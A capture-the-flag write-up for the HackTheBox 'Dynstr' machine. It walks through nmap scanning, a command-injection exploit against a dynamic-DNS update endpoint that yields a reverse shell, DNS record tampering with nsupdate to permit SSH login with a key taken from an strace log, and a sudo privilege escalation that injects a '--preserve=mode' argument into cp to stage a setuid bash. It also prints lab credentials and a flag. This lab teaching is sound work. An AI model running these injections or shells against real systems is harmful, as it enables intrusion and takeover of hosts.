# Nmap 7.91 scan initiated Sun Jun 13 04:53:49 2021 as: nmap -vvv -p 22,53,80 -A -v -oN intial.nmap 10.10.10.244 Nmap scan report for dynstr.htb (10.10.10.244) Host is up, received syn-ack (0.16s latency). Scanned at 2021-06-13 04:53:51 BST for 16s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC//sbOTQwLRH4CGj3riDnnTvTCiJT1Uz7CyRSD2Tkh2wkT20rtAq13c5M1LC2kxki2bz9Ptxxx340Cc9tAcQaPZbmHndQe/H1bGiVZCKjOl2WqWQTV9fq6GGtflC94BkkLrmkWHzqg+S50g2Zg0iesPMkKAmwqwEVZx9npe1QuF3RQu5EYQXRYVOzpqQdU+jRD267gCvsKp9xmr7trZ1UzFxfBUOzSCWa3Adm2TTFwiA5jTb6x0lKVnQtgKghioMQeXXPuiTLCbI0XfbksoRI2OBAvTZf7RsIthKCiyCQRWjVh5Idr5Fh7GgwYaDgW662W3V3hCNEQRY8R9/fXWdVho1gWbm6NFt+NyRO/6F2XDvPseBYr+Yi6zwGEM+PpsTi5dfj8yYKRZ3HFXwjeBGjCPMRe9XPpCvvDnHAF18B1INVJPSwAIVll365V5D18JslQh7PpAWxO70TzmEC9E+UPXOrt29tZ0Zi/uApFRM700pdOhnvcs8q4RBWaUpp3ZB0= | 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFtYzp8umMbm7o9+1LUTVio/dduowE/AsA3rO52A5Q/Cuct9GY6IZEvPE+/XpEiNCPMSl991kjHT+WaAunmTbT4= | 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOz8b9MDlSPP5QJgSHy6fpG98bdKCgvqhuu07v5NFkdx 53/tcp open domain syn-ack ISC BIND 9.16.1 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.16.1-Ubuntu 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Dyna DNS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jun 13 04:54:07 2021 -- 1 IP address (1 host up) scanned in 18.86 seconds
DNS Enumeration
For this part I reffered to one of my favourite website for refference https://book.hacktricks.xyz/pentesting/pentesting-dns Let’s get the banner for the DNS version
res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params) print (res.text)
let’s send this request.
1 2 3
┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# python3 script.py good 10.10.14.10
we got the good response so we can perform update now let’s look at some parameters we can tamper.
Looking through the above perform update article I can see one intresting thing that the update will get distributed to all the linked device so if we can inject the hostname we can get the possible RCE and I thought about injecting IP but it’s is not possible as it will lead to validation problem as IP cannot have character so we can inject hostname and send payload as subdomain name but we cannot use special chars as it is not allowed as a domain name so we have base64 encode the payload and send the request.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
#!/usr/bin/python3
import requests from requests.auth import HTTPBasicAuth from base64 import b64encode
res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params) print (res.text)
Running the script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# python3 script.py cGluZyAtYyA0IDEwLjEwLjE0LjEw server 127.0.0.1 zone no-ip.htb update delete PING 10.10.14.10 (10.10.14.10) 56(84) bytes of data. 64 bytes from 10.10.14.10: icmp_seq=1 ttl=63 time=300 ms 64 bytes from 10.10.14.10: icmp_seq=2 ttl=63 time=299 ms 64 bytes from 10.10.14.10: icmp_seq=3 ttl=63 time=299 ms 64 bytes from 10.10.14.10: icmp_seq=4 ttl=63 time=298 ms
res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params) print (res.text)
on NC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# rlwrap nc -nlvp 1122 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::1122 Ncat: Listening on 0.0.0.0:1122 Ncat: Connection from 10.10.10.244. Ncat: Connection from 10.10.10.244:53898. bash: cannot set terminal process group (745): Inappropriate ioctl for device bash: no job control in this shell id id uid=33(www-data) gid=33(www-data) groups=33(www-data) whoami whoami www-data www-data@dynstr:/var/www/html/nic$
We have REV shell now let’s go onto user.
WWW-Data to bindmgr
Enumeration
1 2 3 4 5 6
ls -al /home total 16 drwxr-xr-x 4 root root 4096 Mar 15 20:26 . drwxr-xr-x 18 root root 4096 May 25 14:52 .. drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 bindmgr drwxr-xr-x 3 dyna dyna 4096 Mar 18 20:00 dyna
Looks like we have access to both of the users. let’s check bindmgr
1 2 3 4 5 6 7 8 9 10 11 12
ls -al total 36 drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 . drwxr-xr-x 4 root root 4096 Mar 15 20:26 .. lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 20:29 .bash_history -> /dev/null -rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 .bashrc drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache -rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521 -r-------- 1 bindmgr bindmgr 33 Jun 13 00:03 user.txt
Looks like we have access .ssh so let’s look into it.
1 2 3 4 5 6 7 8
ls -al total 24 drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 . drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .. -rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 12:00 authorized_keys -rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa -rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 11:48 id_rsa.pub -rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 12:09 known_hosts
We can get the id_rsa.pub,known host and authorized_keys but not id_rsa that sucks.
We can connect to bindmgr using his private key if we satisfy this DNS record condition *.infra.dyna.htb but can’t get into that until we have the id_rsa even if we pass the check.
Looking inside home directory we have access to another unsual and intresting directory support-case-C62796521. Let’s look into it.
1 2 3 4 5 6 7 8
ls -al total 436 drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 . drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .. -rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script -rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 14:53 C62796521-debugging.timing -rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 14:53 command-output-C62796521.txt -rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt
We have the output key in strace file. strace-C62796521.txt So now we have the private key now we can start working on the DNS condition part for SSH login.
Exploitation
As we know that PTR records provides the domain name associated with an IP so we have to add PTR record that matches the above regex that is pointing to our IP.
First of all to edit the records for infra we have to get the key for infra so let’s get it by going to /etc/bind/infra.key
For eg- your ip is 10.10.14.127 Reverse ip is 127.14.10.10 It’s is important to leave a line after addition of the A record or else it will give you an update failed: NOTZONE error. so after this let’s see what we are adding.
1 2 3 4 5 6 7 8 9 10 11 12 13
nsupdate -k /etc/bind/infra.key update add oops.infra.dyna.htb 86400 A 10.10.14.5
And then after that send it and quit. now let’s copy the above RSA key in a id_rsa file and let’s SSH.
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# chmod 700 id_rsa ┌──(root💀kali)-[~/hackthebox/machine/dynstr] └─# ssh -i id_rsa bindmgr@dyna.htb Last login: Sun Jun 13 19:22:54 2021 from test.infra.dyna.htb bindmgr@dynstr:~$ id uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr) bindmgr@dynstr:~$ whoami bindmgr bindmgr@dynstr:~$ ls id_rsa root.txt support-case-C62796521 user.txt bindmgr@dynstr:~$ cat user.txt 32ce9c7cacb7d79e7ae424b0c42b6647
And we are bindmgr let’s get root now.
PrivESC
Enumeration
sudo -l
1 2 3 4 5 6 7
bindmgr@dynstr:/tmp$ sudo -l sudo: unable to resolve host dynstr.dyna.htb: Name or service not known Matching Defaults entries for bindmgr on dynstr: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr: (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
Looks like we can run /usr/bin/local/bindmgr.sh as root so let’s look into script.
#!/usr/bin/bash # This script generates named.conf.bindmgr to workaround the problem # that bind/named can only include single files but no directories. # # It creates a named.conf.bindmgr file in /etc/bind that can be included # from named.conf.local (or others) and will include all files from the # directory /etc/bin/named.bindmgr. # # NOTE: The script is work in progress. For now bind is not including #named.conf.bindmgr. # # TODO: Currently the script is only adding files to the directory but #not deleting them. As we generate the list of files to be included #from the source directory they won't be included anyway.
# Check versioning (.version) echo"[+] Running $0 to stage new configuration from $PWD." if [[ ! -f .version ]] ; then echo"[-] ERROR: Check versioning. Exiting." exit 42 fi if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then [0/598] echo"[-] ERROR: Check versioning. Exiting." exit 43 fi # Create config file that includes all files from named.bindmgr. echo"[+] Creating $BINDMGR_CONF file." printf'// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF for file in * ; do printf'include "/etc/bind/named.bindmgr/%s";\n'"$file" >> $BINDMGR_CONF done
# Stage new version of configuration files. echo"[+] Staging files to $BINDMGR_DIR." cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf. echo"[+] Checking staged configuration." named-checkconf $BINDMGR_CONF >/dev/null if [[ $? -ne 0 ]] ; then echo"[-] ERROR: The generated configuration is not valid. Please fix following errors: " named-checkconf $BINDMGR_CONF 2>&1 | indent exit 44 else echo"[+] Configuration successfully staged." # *** TODO *** Uncomment restart once we are live. # systemctl restart bind9 if [[ $? -ne 0 ]] ; then echo"[-] Restart of bind9 via systemctl failed. Please check logfile: " systemctl status bind9 else echo"[+] Restart of bind9 via systemctl succeeded." fi fi
Looking at the script we can see that we need a .version file in the current directory with a version number so let’s create it.
1
bindmgr@dynstr:/dev/shm$ echo"2" > .version
we can see from the script that we can get the privilege on the binary in the same directory so let’s get /bin/bash to this directory.
1
bindmgr@dynstr:/dev/shm$ cp /bin/bash .
Now let’s give it a suid bit and preserve that mode on that binary so now when we will execute the script we will get root privileged binary in /etc/bind/named.bindmgr/
1 2 3 4 5 6 7 8 9
bindmgr@dynstr:/dev/shm$ chmod +s bash bindmgr@dynstr:/dev/shm$ echo > --preserve=mode bindmgr@dynstr:/dev/shm$ ls -la total 1164 drwxrwxrwt 2 root root 100 Jun 14 08:41 . drwxr-xr-x 17 root root 3940 Jun 12 21:02 .. -rwsr-sr-x 1 bindmgr bindmgr 1183448 Jun 14 08:40 bash -rw-rw-r-- 1 bindmgr bindmgr 1 Jun 14 08:41 '--preserve=mode' -rw-rw-r-- 1 bindmgr bindmgr 2 Jun 14 08:40 .version
Now let’s execute the sudo command and get the root privileges on our bash binary.
